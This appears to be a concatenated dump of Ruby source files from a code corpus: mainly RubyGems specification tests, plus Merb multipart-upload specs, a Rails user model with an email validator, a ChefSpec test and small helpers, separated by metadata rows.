spec = File.join @gemhome, 'specifications', @a2.spec_name
gs = Gem::Specification.load spec
assert_equal @a2, gs
end
def test_self_load_legacy_ruby
spec = eval LEGACY_RUBY_SPEC
assert_equal 'keyedlist', spec.name
assert_equal '0.4.0', spec.version.to_s
assert_equal true, spec.has_rdoc?
assert_equal Gem::Specification::TODAY, spec.date
assert spec.required_ruby_version.satisfied_by?(Gem::Version.new('1'))
assert_equal false, spec.has_unit_tests?
end
def test_self_normalize_yaml_input_with_183_yaml
input = "!ruby/object:Gem::Specification "
assert_equal "--- #{input}", Gem::Specification.normalize_yaml_input(input)
end
def test_self_normalize_yaml_input_with_non_183_yaml
input = "--- !ruby/object:Gem::Specification "
assert_equal input, Gem::Specification.normalize_yaml_input(input)
end
def test_self_normalize_yaml_input_with_183_io
input = "!ruby/object:Gem::Specification "
assert_equal "--- #{input}",
Gem::Specification.normalize_yaml_input(StringIO.new(input))
end
def test_self_normalize_yaml_input_with_non_183_io
input = "--- !ruby/object:Gem::Specification "
assert_equal input,
Gem::Specification.normalize_yaml_input(StringIO.new(input))
end
def test_self_normalize_yaml_input_with_192_yaml
input = "--- !ruby/object:Gem::Specification \nblah: !!null \n"
expected = "--- !ruby/object:Gem::Specification \nblah: \n"
assert_equal expected, Gem::Specification.normalize_yaml_input(input)
end
def test_initialize
spec = Gem::Specification.new do |s|
s.name = "blah"
s.version = "1.3.5"
end
assert_equal "blah", spec.name
assert_equal "1.3.5", spec.version.to_s
assert_equal Gem::Platform::RUBY, spec.platform
assert_equal nil, spec.summary
assert_equal [], spec.files
assert_equal [], spec.test_files
assert_equal [], spec.rdoc_options
assert_equal [], spec.extra_rdoc_files
assert_equal [], spec.executables
assert_equal [], spec.extensions
assert_equal [], spec.requirements
assert_equal [], spec.dependencies
assert_equal 'bin', spec.bindir
assert_equal true, spec.has_rdoc
assert_equal true, spec.has_rdoc?
assert_equal '>= 0', spec.required_ruby_version.to_s
assert_equal '>= 0', spec.required_rubygems_version.to_s
end
def test_initialize_future
version = Gem::Specification::CURRENT_SPECIFICATION_VERSION + 1
spec = Gem::Specification.new do |s|
s.name = "blah"
s.version = "1.3.5"
s.specification_version = version
s.new_unknown_attribute = "a value"
end
assert_equal "blah", spec.name
assert_equal "1.3.5", spec.version.to_s
end
def test_initialize_copy
spec = Gem::Specification.new do |s|
s.name = "blah"
s.version = "1.3.5"
s.summary = 'summary'
s.description = 'description'
s.authors = 'author a', 'author b'
s.licenses = 'BSD'
s.files = 'lib/file.rb'
s.test_files = 'test/file.rb'
s.rdoc_options = '--foo'
s.extra_rdoc_files = 'README.txt'
s.executables = 'exec'
s.extensions = 'ext/extconf.rb'
s.requirements = 'requirement'
s.add_dependency 'some_gem'
end
new_spec = spec.dup
assert_equal "blah", spec.name
assert_same spec.name, new_spec.name
assert_equal "1.3.5", spec.version.to_s
assert_same spec.version, new_spec.version
assert_equal Gem::Platform::RUBY, spec.platform
assert_same spec.platform, new_spec.platform
assert_equal 'summary', spec.summary
assert_same spec.summary, new_spec.summary
assert_equal %w[lib/file.rb test/file.rb bin/exec README.txt
ext/extconf.rb],
spec.files
refute_same spec.files, new_spec.files, 'files'
assert_equal %w[test/file.rb], spec.test_files
refute_same spec.test_files, new_spec.test_files, 'test_files'
assert_equal %w[--foo], spec.rdoc_options
refute_same spec.rdoc_options, new_spec.rdoc_options, 'rdoc_options'
assert_equal %w[README.txt], spec.extra_rdoc_files
refute_same spec.extra_rdoc_files, new_spec.extra_rdoc_files,
'extra_rdoc_files'
assert_equal %w[exec], spec.executables
refute_same spec.executables, new_spec.executables, 'executables'
assert_equal %w[ext/extconf.rb], spec.extensions
refute_same spec.extensions, new_spec.extensions, 'extensions'
assert_equal %w[requirement], spec.requirements
refute_same spec.requirements, new_spec.requirements, 'requirements'
assert_equal [Gem::Dependency.new('some_gem', Gem::Requirement.default)],
spec.dependencies
refute_same spec.dependencies, new_spec.dependencies, 'dependencies'
assert_equal 'bin', spec.bindir
assert_same spec.bindir, new_spec.bindir
assert_equal true, spec.has_rdoc
assert_same spec.has_rdoc, new_spec.has_rdoc
assert_equal '>= 0', spec.required_ruby_version.to_s
assert_same spec.required_ruby_version, new_spec.required_ruby_version
assert_equal '>= 0', spec.required_rubygems_version.to_s
assert_same spec.required_rubygems_version,
new_spec.required_rubygems_version
end
def test__dump
@a2.platform = Gem::Platform.local
@a2.instance_variable_set :@original_platform, 'old_platform'
data = Marshal.dump @a2
same_spec = Marshal.load data
assert_equal 'old_platform', same_spec.original_platform
end
def test_add_dependency_with_explicit_type
gem = quick_gem "awesome", "1.0" do |awesome|
awesome.add_development_dependency "monkey"
end
monkey = gem.dependencies.detect { |d| d.name == "monkey" }
assert_equal(:development, monkey.type)
end
def test_author
assert_equal 'A User', @a1.author
end
def test_authors
assert_equal ['A User'], @a1.authors
end
def test_bindir_equals
@a1.bindir = 'apps'
assert_equal 'apps', @a1.bindir
end
def test_bindir_equals_nil
@a2.bindir = nil
@a2.executable = 'app'
assert_equal nil, @a2.bindir
assert_equal %w[lib/code.rb app], @a2.files
end
def test_date
assert_equal Gem::Specification::TODAY, @a1.date
end
def test_date_equals_date
@a1.date = Date.new(2003, 9, 17)
assert_equal Time.local(2003, 9, 17, 0,0,0), @a1.date
end
def test_date_equals_string
@a1.date = '2003-09-17'
assert_equal Time.local(2003, 9, 17, 0,0,0), @a1.date
end
def test_date_equals_time
@a1.date = Time.local(2003, 9, 17, 0,0,0)
assert_equal Time.local(2003, 9, 17, 0,0,0), @a1.date
end
def test_date_equals_time_local
# HACK PDT
@a1.date = Time.local(2003, 9, 17, 19,50,0)
assert_equal Time.local(2003, 9, 17, 0,0,0), @a1.date
end
def test_date_equals_time_utc
# HACK PDT
@a1.date = Time.local(2003, 9, 17, 19,50,0)
assert_equal Time.local(2003, 9, 17, 0,0,0), @a1.date
end
def test_default_executable
assert_equal 'exec', @a1.default_executable
@a1.default_executable = nil
@a1.instance_variable_set :@executables, nil
assert_equal nil, @a1.default_executable
end
def test_dependencies
rake = Gem::Dependency.new 'rake', '> 0.4'
jabber = Gem::Dependency.new 'jabber4r', '> 0.0.0'
pqa = Gem::Dependency.new 'pqa', ['> 0.4', '<= 0.6']
assert_equal [rake, jabber, pqa], @a1.dependencies
end
def test_dependencies_scoped_by_type
gem = quick_gem "awesome", "1.0" do |awesome|
awesome.add_runtime_dependency "bonobo", []
awesome.add_development_dependency "monkey", []
end
bonobo = Gem::Dependency.new("bonobo", [])
monkey = Gem::Dependency.new("monkey", [], :development)
assert_equal([bonobo, monkey], gem.dependencies)
assert_equal([bonobo], gem.runtime_dependencies)
assert_equal([monkey], gem.development_dependencies)
end
def test_description
assert_equal 'This is a test description', @a1.description
end
def test_eql_eh
g1 = quick_gem 'gem'
g2 = quick_gem 'gem'
assert_equal g1, g2
assert_equal g1.hash, g2.hash
assert_equal true, g1.eql?(g2)
end
def test_equals2
assert_equal @a1, @a1
assert_equal @a1, @a1.dup
refute_equal @a1, @a2
refute_equal @a1, Object.new
end
# The cgikit specification was reported to be causing trouble in at least
# one version of RubyGems, so we test explicitly for it.
def test_equals2_cgikit
cgikit = Gem::Specification.new do |s|
s.name = %q{cgikit}
s.version = "1.1.0"
s.date = %q{2004-03-13}
s.summary = %q{CGIKit is a componented-oriented web application } +
%q{framework like Apple Computers WebObjects. } +
%{This framework services Model-View-Controller architecture } +
%q{programming by components based on a HTML file, a definition } +
%q{file and a Ruby source. }
s.email = %q{[email protected]}
s.homepage = %q{http://www.spice-of-life.net/download/cgikit/}
s.autorequire = %q{cgikit}
s.bindir = nil
s.has_rdoc = true
s.required_ruby_version = nil
s.platform = nil
s.files = ["lib/cgikit", "lib/cgikit.rb", "lib/cgikit/components", "..."]
end
assert_equal cgikit, cgikit
end
def test_equals2_default_executable
spec = @a1.dup
spec.default_executable = 'xx'
refute_equal @a1, spec
refute_equal spec, @a1
end
def test_equals2_extensions
spec = @a1.dup
spec.extensions = 'xx'
refute_equal @a1, spec
refute_equal spec, @a1
end
def test_executables
@a1.executable = 'app'
assert_equal %w[app], @a1.executables
end
def test_executable_equals
@a2.executable = 'app'
assert_equal 'app', @a2.executable
assert_equal %w[lib/code.rb bin/app], @a2.files
end
def test_extensions
assert_equal ['ext/a/extconf.rb'], @a1.extensions
end
def test_files
@a1.files = %w(files bin/common)
@a1.test_files = %w(test_files bin/common)
@a1.executables = %w(executables common)
@a1.extra_rdoc_files = %w(extra_rdoc_files bin/common)
@a1.extensions = %w(extensions bin/common)
expected = %w[
bin/common
bin/executables
extensions
extra_rdoc_files
files
test_files
]
assert_equal expected, @a1.files.sort
end
def test_files_append
@a1.files = %w(files bin/common)
@a1.test_files = %w(test_files bin/common)
@a1.executables = %w(executables common)
@a1.extra_rdoc_files = %w(extra_rdoc_files bin/common)
@a1.extensions = %w(extensions bin/common)
expected = %w[
bin/common
bin/executables
extensions
extra_rdoc_files
files
test_files
]
assert_equal expected, @a1.files.sort
@a1.files << "generated_file.c"
expected << "generated_file.c"
expected.sort!
assert_equal expected, @a1.files.sort
end
def test_files_duplicate
@a2.files = %w[a b c d b]
@a2.extra_rdoc_files = %w[x y z x]
@a2.normalize
assert_equal %w[a b c d x y z], @a2.files
assert_equal %w[x y z], @a2.extra_rdoc_files
end
def test_files_extra_rdoc_files
@a2.files = %w[a b c d]
@a2.extra_rdoc_files = %w[x y z]
@a2.normalize
assert_equal %w[a b c d x y z], @a2.files
end
def test_files_non_array
@a1.files = "F"
@a1.test_files = "TF"
@a1.executables = "X"
@a1.extra_rdoc_files = "ERF"
@a1.extensions = "E"
assert_equal %w[E ERF F TF bin/X], @a1.files.sort
end
def test_files_non_array_pathological
@a1.instance_variable_set :@files, "F"
@a1.instance_variable_set :@test_files, "TF"
@a1.instance_variable_set :@extra_rdoc_files, "ERF"
@a1.instance_variable_set :@extensions, "E"
@a1.instance_variable_set :@executables, "X"
assert_equal %w[E ERF F TF bin/X], @a1.files.sort
assert_kind_of Integer, @a1.hash
end
def test_full_gem_path
assert_equal File.join(@gemhome, 'gems', @a1.full_name),
@a1.full_gem_path
@a1.original_platform = 'mswin32'
assert_equal File.join(@gemhome, 'gems', @a1.original_name),
@a1.full_gem_path
end
def test_full_gem_path_double_slash
gemhome = @gemhome.sub(/\w\//, '\&/')
@a1.loaded_from = File.join gemhome, 'specifications', @a1.spec_name
assert_equal File.join(@gemhome, 'gems', @a1.full_name),
@a1.full_gem_path
end
def test_full_name
assert_equal 'a-1', @a1.full_name
@a1.platform = Gem::Platform.new ['universal', 'darwin', nil]
assert_equal 'a-1-universal-darwin', @a1.full_name
@a1.instance_variable_set :@new_platform, 'mswin32'
assert_equal 'a-1-mswin32', @a1.full_name, 'legacy'
return if win_platform?
@a1.platform = 'current'
assert_equal 'a-1-x86-darwin-8', @a1.full_name
end
def test_full_name_windows
test_cases = {
'i386-mswin32' => 'a-1-x86-mswin32-60',
'i386-mswin32_80' => 'a-1-x86-mswin32-80',
'i386-mingw32' => 'a-1-x86-mingw32'
}
test_cases.each do |arch, expected|
util_set_arch arch
@a1.platform = 'current'
assert_equal expected, @a1.full_name
end
end
def test_has_rdoc_eh
assert @a1.has_rdoc?
end
def test_has_rdoc_equals
use_ui @ui do
@a1.has_rdoc = false
end
assert_equal '', @ui.output
assert_equal true, @a1.has_rdoc
end
def test_hash
assert_equal @a1.hash, @a1.hash
assert_equal @a1.hash, @a1.dup.hash
refute_equal @a1.hash, @a2.hash
end
def test_installation_path
assert_equal @gemhome, @a1.installation_path
@a1.instance_variable_set :@loaded_from, nil
e = assert_raises Gem::Exception do
@a1.installation_path
end
assert_equal 'spec a-1 is not from an installed gem', e.message
end
def test_lib_files
@a1.files = %w[lib/foo.rb Rakefile]
assert_equal %w[lib/foo.rb], @a1.lib_files
end
def test_license
assert_equal 'MIT', @a1.license
end
def test_licenses
assert_equal ['MIT'], @a1.licenses
end
def test_name
assert_equal 'a', @a1.name
end
def test_original_name
assert_equal 'a-1', @a1.full_name
@a1.platform = 'i386-linux'
@a1.instance_variable_set :@original_platform, 'i386-linux'
assert_equal 'a-1-i386-linux', @a1.original_name
end
def test_platform
assert_equal Gem::Platform::RUBY, @a1.platform
end
def test_platform_equals
@a1.platform = nil
assert_equal Gem::Platform::RUBY, @a1.platform
@a1.platform = Gem::Platform::RUBY
assert_equal Gem::Platform::RUBY, @a1.platform
test_cases = {
'i386-mswin32' => ['x86', 'mswin32', '60'],
'i386-mswin32_80' => ['x86', 'mswin32', '80'],
'i386-mingw32' => ['x86', 'mingw32', nil ],
'x86-darwin8' => ['x86', 'darwin', '8' ],
}
test_cases.each do |arch, expected|
util_set_arch arch
@a1.platform = Gem::Platform::CURRENT
assert_equal Gem::Platform.new(expected), @a1.platform
end
end
def test_platform_equals_current
@a1.platform = Gem::Platform::CURRENT
assert_equal Gem::Platform.local, @a1.platform
assert_equal Gem::Platform.local.to_s, @a1.original_platform
end
def test_platform_equals_legacy
@a1.platform = 'mswin32'
assert_equal Gem::Platform.new('x86-mswin32'), @a1.platform
@a1.platform = 'i586-linux'
assert_equal Gem::Platform.new('x86-linux'), @a1.platform
@a1.platform = 'powerpc-darwin'
assert_equal Gem::Platform.new('ppc-darwin'), @a1.platform
end
def test_prerelease_spec_adds_required_rubygems_version
@prerelease = quick_gem('tardis', '2.2.0.a')
refute @prerelease.required_rubygems_version.satisfied_by?(Gem::Version.new('1.3.1'))
assert @prerelease.required_rubygems_version.satisfied_by?(Gem::Version.new('1.4.0'))
end
def test_require_paths
@a1.require_path = 'lib'
assert_equal %w[lib], @a1.require_paths
end
def test_requirements
assert_equal ['A working computer'], @a1.requirements
end
def test_runtime_dependencies_legacy
# legacy gems don't have a type
@a1.runtime_dependencies.each do |dep|
dep.instance_variable_set :@type, nil
end
expected = %w[rake jabber4r pqa]
assert_equal expected, @a1.runtime_dependencies.map { |d| d.name }
end
def test_spaceship_name
s1 = quick_gem 'a', '1'
s2 = quick_gem 'b', '1'
assert_equal(-1, (s1 <=> s2))
assert_equal( 0, (s1 <=> s1))
assert_equal( 1, (s2 <=> s1))
end
def test_spaceship_platform
s1 = quick_gem 'a', '1'
s2 = quick_gem 'a', '1' do |s|
s.platform = Gem::Platform.new 'x86-my_platform1'
end
assert_equal( -1, (s1 <=> s2))
assert_equal( 0, (s1 <=> s1))
assert_equal( 1, (s2 <=> s1))
end
def test_spaceship_version
s1 = quick_gem 'a', '1'
s2 = quick_gem 'a', '2'
assert_equal( -1, (s1 <=> s2))
assert_equal( 0, (s1 <=> s1))
assert_equal( 1, (s2 <=> s1))
end
def test_spec_name
assert_equal 'a-1.gemspec', @a1.spec_name
end
def test_summary
assert_equal 'this is a summary', @a1.summary
end
def test_test_files
@a1.test_file = 'test/suite.rb'
assert_equal ['test/suite.rb'], @a1.test_files
end
def test_to_ruby
@a2.add_runtime_dependency 'b', '1'
@a2.dependencies.first.instance_variable_set :@type, nil
@a2.required_rubygems_version = Gem::Requirement.new '> 0'
ruby_code = @a2.to_ruby
expected = <<-SPEC
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = %q{a}
s.version = \"2\"
s.required_rubygems_version = Gem::Requirement.new(\"> 0\") if s.respond_to? :required_rubygems_version=
s.authors = [\"A User\"]
s.date = %q{#{Gem::Specification::TODAY.strftime "%Y-%m-%d"}}
s.description = %q{This is a test description}
s.email = %q{[email protected]}
s.files = [\"lib/code.rb\"]
s.homepage = %q{http://example.com}
s.require_paths = [\"lib\"]
s.rubygems_version = %q{#{Gem::VERSION}}
s.summary = %q{this is a summary}
if s.respond_to? :specification_version then
s.specification_version = #{Gem::Specification::CURRENT_SPECIFICATION_VERSION}
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<b>, [\"= 1\"])
else
s.add_dependency(%q<b>, [\"= 1\"])
end
else
s.add_dependency(%q<b>, [\"= 1\"])
end
end
SPEC
assert_equal expected, ruby_code
same_spec = eval ruby_code
assert_equal @a2, same_spec
end
def test_to_ruby_fancy
@a1.platform = Gem::Platform.local
ruby_code = @a1.to_ruby
local = Gem::Platform.local
expected_platform = "[#{local.cpu.inspect}, #{local.os.inspect}, #{local.version.inspect}]"
expected = <<-SPEC
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = %q{a}
s.version = \"1\"
s.platform = Gem::Platform.new(#{expected_platform})
s.required_rubygems_version = Gem::Requirement.new(\">= 0\") if s.respond_to? :required_rubygems_version=
s.authors = [\"A User\"]
s.date = %q{#{Gem::Specification::TODAY.strftime "%Y-%m-%d"}}
s.default_executable = %q{exec}
s.description = %q{This is a test description}
s.email = %q{[email protected]}
s.executables = [\"exec\"]
s.extensions = [\"ext/a/extconf.rb\"]
s.files = [\"lib/code.rb\", \"test/suite.rb\", \"bin/exec\", \"ext/a/extconf.rb\"]
s.homepage = %q{http://example.com}
s.licenses = [\"MIT\"]
s.require_paths = [\"lib\"]
s.requirements = [\"A working computer\"]
s.rubyforge_project = %q{example}
s.rubygems_version = %q{#{Gem::VERSION}}
s.summary = %q{this is a summary}
s.test_files = [\"test/suite.rb\"]
if s.respond_to? :specification_version then
s.specification_version = 3
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<rake>, [\"> 0.4\"])
s.add_runtime_dependency(%q<jabber4r>, [\"> 0.0.0\"])
s.add_runtime_dependency(%q<pqa>, [\"> 0.4\", \"<= 0.6\"])
else
s.add_dependency(%q<rake>, [\"> 0.4\"])
s.add_dependency(%q<jabber4r>, [\"> 0.0.0\"])
s.add_dependency(%q<pqa>, [\"> 0.4\", \"<= 0.6\"])
end
else
s.add_dependency(%q<rake>, [\"> 0.4\"])
s.add_dependency(%q<jabber4r>, [\"> 0.0.0\"])
s.add_dependency(%q<pqa>, [\"> 0.4\", \"<= 0.6\"])
end
end
SPEC
assert_equal expected, ruby_code
same_spec = eval ruby_code
assert_equal @a1, same_spec
end
def test_to_ruby_legacy
gemspec1 = eval LEGACY_RUBY_SPEC
ruby_code = gemspec1.to_ruby
gemspec2 = eval ruby_code
assert_equal gemspec1, gemspec2
end
def test_to_ruby_platform
@a2.platform = Gem::Platform.local
@a2.instance_variable_set :@original_platform, 'old_platform'
ruby_code = @a2.to_ruby
same_spec = eval ruby_code
assert_equal 'old_platform', same_spec.original_platform
end
def test_to_yaml
yaml_str = @a1.to_yaml
refute_match '!!null', yaml_str
same_spec = YAML.load(yaml_str)
assert_equal @a1, same_spec
end
def test_to_yaml_fancy
@a1.platform = Gem::Platform.local
yaml_str = @a1.to_yaml
same_spec = YAML.load(yaml_str)
assert_equal Gem::Platform.local, same_spec.platform
assert_equal @a1, same_spec
end
def test_to_yaml_platform_empty_string
@a1.instance_variable_set :@original_platform, ''
assert_match %r|^platform: ruby$|, @a1.to_yaml
end
def test_to_yaml_platform_legacy
@a1.platform = 'powerpc-darwin7.9.0'
@a1.instance_variable_set :@original_platform, 'powerpc-darwin7.9.0'
yaml_str = @a1.to_yaml
same_spec = YAML.load yaml_str
assert_equal Gem::Platform.new('powerpc-darwin7'), same_spec.platform
assert_equal 'powerpc-darwin7.9.0', same_spec.original_platform
end
def test_to_yaml_platform_nil
@a1.instance_variable_set :@original_platform, nil
assert_match %r|^platform: ruby$|, @a1.to_yaml
end
def test_validate
util_setup_validate
Dir.chdir @tempdir do
assert @a1.validate
end
end
def test_validate_authors
util_setup_validate
Dir.chdir @tempdir do
@a1.authors = []
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no author specified\n", @ui.error, 'error'
@a1.authors = [Object.new]
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal 'authors must be Array of Strings', e.message
@a1.authors = ['FIXME (who is writing this software)']
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not an author', e.message
@a1.authors = ['TODO (who is writing this software)']
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not an author', e.message
end
end
def test_validate_autorequire
util_setup_validate
Dir.chdir @tempdir do
@a1.autorequire = 'code'
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: deprecated autorequire specified\n",
@ui.error, 'error'
end
end
def test_validate_description
util_setup_validate
Dir.chdir @tempdir do
@a1.description = ''
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no description specified\n", @ui.error, 'error'
@ui = Gem::MockGemUi.new
@a1.summary = 'this is my summary'
@a1.description = @a1.summary
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: description and summary are identical\n",
@ui.error, 'error'
@a1.description = 'FIXME (describe your package)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not a description', e.message
@a1.description = 'TODO (describe your package)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not a description', e.message
end
end
def test_validate_email
util_setup_validate
Dir.chdir @tempdir do
@a1.email = ''
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no email specified\n", @ui.error, 'error'
@a1.email = 'FIXME (your e-mail)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not an email address', e.message
@a1.email = 'TODO (your e-mail)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not an email address', e.message
end
end
def test_validate_empty
util_setup_validate
e = assert_raises Gem::InvalidSpecificationException do
Gem::Specification.new.validate
end
assert_equal 'missing value for attribute name', e.message
end
def test_validate_executables
util_setup_validate
FileUtils.mkdir_p File.join(@tempdir, 'bin')
File.open File.join(@tempdir, 'bin', 'exec'), 'w' do end
FileUtils.mkdir_p File.join(@tempdir, 'exec')
use_ui @ui do
Dir.chdir @tempdir do
assert @a1.validate
end
end
assert_equal %w[exec], @a1.executables
assert_equal '', @ui.output, 'output'
assert_equal "WARNING: bin/exec is missing #! line\n", @ui.error, 'error'
end
def test_validate_empty_require_paths
if win_platform? then
skip 'test_validate_empty_require_paths skipped on MS Windows (symlink)'
else
util_setup_validate
@a1.require_paths = []
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal 'specification must have at least one require_path',
e.message
end
end
def test_validate_files
skip 'test_validate_files skipped on MS Windows (symlink)' if win_platform?
util_setup_validate
@a1.files += ['lib', 'lib2']
Dir.chdir @tempdir do
FileUtils.ln_s '/root/path', 'lib2' unless vc_windows?
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '["lib2"] are not files', e.message
end
assert_equal %w[lib/code.rb test/suite.rb bin/exec ext/a/extconf.rb lib2],
@a1.files
end
def test_validate_homepage
util_setup_validate
Dir.chdir @tempdir do
@a1.homepage = nil
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no homepage specified\n", @ui.error, 'error'
@ui = Gem::MockGemUi.new
@a1.homepage = ''
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no homepage specified\n", @ui.error, 'error'
@a1.homepage = 'over at my cool site'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"over at my cool site" is not a URI', e.message
end
end
def test_validate_name
util_setup_validate
e = assert_raises Gem::InvalidSpecificationException do
@a1.name = :json
@a1.validate
end
assert_equal 'invalid value for attribute name: ":json"', e.message
end
def test_validate_platform_legacy
util_setup_validate
Dir.chdir @tempdir do
@a1.platform = 'mswin32'
assert @a1.validate
@a1.platform = 'i586-linux'
assert @a1.validate
@a1.platform = 'powerpc-darwin'
assert @a1.validate
end
end
def test_validate_rubygems_version
util_setup_validate
@a1.rubygems_version = "3"
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal "expected RubyGems version #{Gem::VERSION}, was 3",
e.message
end
def test_validate_specification_version
util_setup_validate
Dir.chdir @tempdir do
@a1.specification_version = '1.0'
e = assert_raises Gem::InvalidSpecificationException do
use_ui @ui do
@a1.validate
end
end
err = 'specification_version must be a Fixnum (did you mean version?)'
assert_equal err, e.message
end
end
def test_validate_summary
util_setup_validate
Dir.chdir @tempdir do
@a1.summary = ''
use_ui @ui do
@a1.validate
end
assert_equal "WARNING: no summary specified\n", @ui.error, 'error'
@a1.summary = 'FIXME (describe your package)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not a summary', e.message
@a1.summary = 'TODO (describe your package)'
e = assert_raises Gem::InvalidSpecificationException do
@a1.validate
end
assert_equal '"FIXME" or "TODO" is not a summary', e.message
end
end
def test_version
assert_equal Gem::Version.new('1'), @a1.version
end
def test_load_errors_contain_filename
specfile = Tempfile.new(self.class.name.downcase)
specfile.write "raise 'boom'"
specfile.close
begin
capture_io do
Gem::Specification.load(specfile.path)
end
rescue => e
name_rexp = Regexp.new(Regexp.escape(specfile.path))
assert e.backtrace.grep(name_rexp).any?
end
ensure
specfile.delete
end
def util_setup_validate
Dir.chdir @tempdir do
FileUtils.mkdir_p File.join('ext', 'a')
FileUtils.mkdir_p 'lib'
FileUtils.mkdir_p 'test'
FileUtils.touch File.join('ext', 'a', 'extconf.rb')
FileUtils.touch File.join('lib', 'code.rb')
FileUtils.touch File.join('test', 'suite.rb')
end
end
end
| 25.588741 | 107 | 0.660444 |
6266cfc509111764c3227b12243371862a185411 | 241 | # Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
| 40.166667 | 75 | 0.676349 |
080170595876497cd340dcd284c6cfbf53f13db6 | 3,971 | require File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "spec_helper"))
startup_merb
module Merb::MultipartRequestSpecHelper
def fake_file(read = nil, filename = 'sample.txt', path = 'sample.txt')
read ||= 'This is a text file with some small content in it.'
Struct.new(:read, :filename, :path).new(read, filename, path)
end
end
describe Merb::Request do
include Merb::MultipartRequestSpecHelper
it "should handle file upload for multipart/form-data posts" do
file = fake_file
m = Merb::Test::MultipartRequestHelper::Post.new(:file => file)
body, head = m.to_multipart
request = fake_request({:request_method => "POST",
:content_type => head,
:content_length => body.length}, :req => body)
request.params[:file].should_not be_nil
request.params[:file][:tempfile].class.should == Tempfile
request.params[:file][:content_type].should == 'text/plain'
request.params[:file][:size].should == file.read.length
end
it "should correctly format multipart posts which contain multiple parameters" do
params = {:model => {:description1 => 'foo', :description2 => 'bar', :file => fake_file}}
m = Merb::Test::MultipartRequestHelper::Post.new params
body, head = m.to_multipart
body.split('----------0xKhTmLbOuNdArY').size.should eql(5)
end
it "should correctly format multipart posts which contain an array as parameter" do
file = fake_file
file2 = fake_file("This is another text file", "sample2.txt", "sample2.txt")
params = {:model => {:description1 => 'foo',
:description2 => 'bar',
:child_attributes => [
{ :file => file },
{ :file => file2 }
]
}}
m = Merb::Test::MultipartRequestHelper::Post.new params
body, head = m.to_multipart
body.should match(/model\[child_attributes\]\[\]\[file\]/)
body.split('----------0xKhTmLbOuNdArY').size.should eql(6)
request = fake_request({:request_method => "POST", :content_type => head, :content_length => body.length}, :req => body)
request.params[:model][:child_attributes].size.should == 2
end
it "should accept env['rack.input'] as IO object (instead of StringIO)" do
file = fake_file
m = Merb::Test::MultipartRequestHelper::Post.new :file => file
body, head = m.to_multipart
t = Tempfile.new("io")
t.write(body)
t.close
fd = IO.sysopen(t.path)
io = IO.for_fd(fd,"r")
request = Merb::Test::RequestHelper::FakeRequest.new({:request_method => "POST", :content_type => 'multipart/form-data, boundary=----------0xKhTmLbOuNdArY', :content_length => body.length},io)
running {request.params}.should_not raise_error
request.params[:file].should_not be_nil
request.params[:file][:tempfile].class.should == Tempfile
request.params[:file][:content_type].should == 'text/plain'
request.params[:file][:size].should == file.read.length
end
it "should handle GET with a content_type but an empty body (happens in some browsers such as safari after redirect)" do
request = fake_request({:request_method => "GET", :content_type => 'multipart/form-data, boundary=----------0xKhTmLbOuNdArY', :content_length => 0}, :req => '')
running {request.params}.should_not raise_error
end
it "should handle multiple occurences of one parameter" do
m = Merb::Test::MultipartRequestHelper::Post.new :file => fake_file
m.push_params({:checkbox => 0})
m.push_params({:checkbox => 1})
body, head = m.to_multipart
request = fake_request({:request_method => "POST",
:content_type => head,
:content_length => body.length}, :req => body)
request.params[:file].should_not be_nil
request.params[:checkbox].should eql '1'
end
end
| 44.122222 | 196 | 0.63032 |
b95af279ba72e1776528dfa19ebf612b4868f084 | 543 | class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
record.errors[attribute] << (options[:message] || "is not an email")
end
end
end
class User < ActiveRecord::Base
validates :username, presence: true, uniqueness: true
validates :email, email: true
has_one :address
has_secure_password
def name
first_name + " " + last_name
end
def get_rate
raise "rate not defined for #{self.class}"
end
end
| 21.72 | 74 | 0.6593 |
b9c8f855bacaa61a7bd720099da532251f25f5ae | 640 | #
# Cookbook:: cdh_kerberos_cookbook
# Spec:: default
#
# Copyright:: 2017, The Authors, All Rights Reserved.
require 'spec_helper'
describe 'cdh_kerberos_cookbook::cdh-pseudo.rb' do
context 'When all attributes are default, on an Ubuntu 16.04' do
let(:chef_run) do
# for a complete list of available platforms and versions see:
# https://github.com/customink/fauxhai/blob/master/PLATFORMS.md
runner = ChefSpec::ServerRunner.new(platform: 'ubuntu', version: '16.04')
runner.converge(described_recipe)
end
it 'converges successfully' do
expect { chef_run }.to_not raise_error
end
end
end
| 27.826087 | 79 | 0.7125 |
1d847035d699f0d0421380c0376a6f42d7f2e877 | 146 | module Sinatra
module Environments
